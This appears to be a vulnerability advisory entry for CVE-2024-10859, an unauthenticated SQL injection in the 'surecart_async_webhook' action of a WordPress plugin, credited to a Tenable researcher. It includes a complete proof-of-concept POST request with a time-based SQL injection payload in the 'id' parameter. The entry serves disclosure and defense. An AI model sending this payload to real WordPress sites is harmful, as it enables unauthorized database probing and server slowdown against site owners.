Detections
Analytics
CVE-2024-10859
critical
Description
A researcher at Tenable discovered an unauthenticated SQL Injection (SQLi) vulnerability in the SureCate WordPress plugin.The SQLi exists because of a lack of validation of the parameter 'id' used in the 'surecart_async_webhook' action which is accessible without authentication.Proof Of Concept:The vulnerability can be reproduced by performing the following POST HTTP request against a WordPress instance using a vulnerable version of the plugin and noticing the delayed response due to this heavy request:POST /wp-admin/admin-ajax.php?action=surecart_async_webhook HTTP/1.1 Host: VULNERABLE_WORDPRESS Accept: */* Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=utf-8 Connection: Keep-Alive id=1 AND 1=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)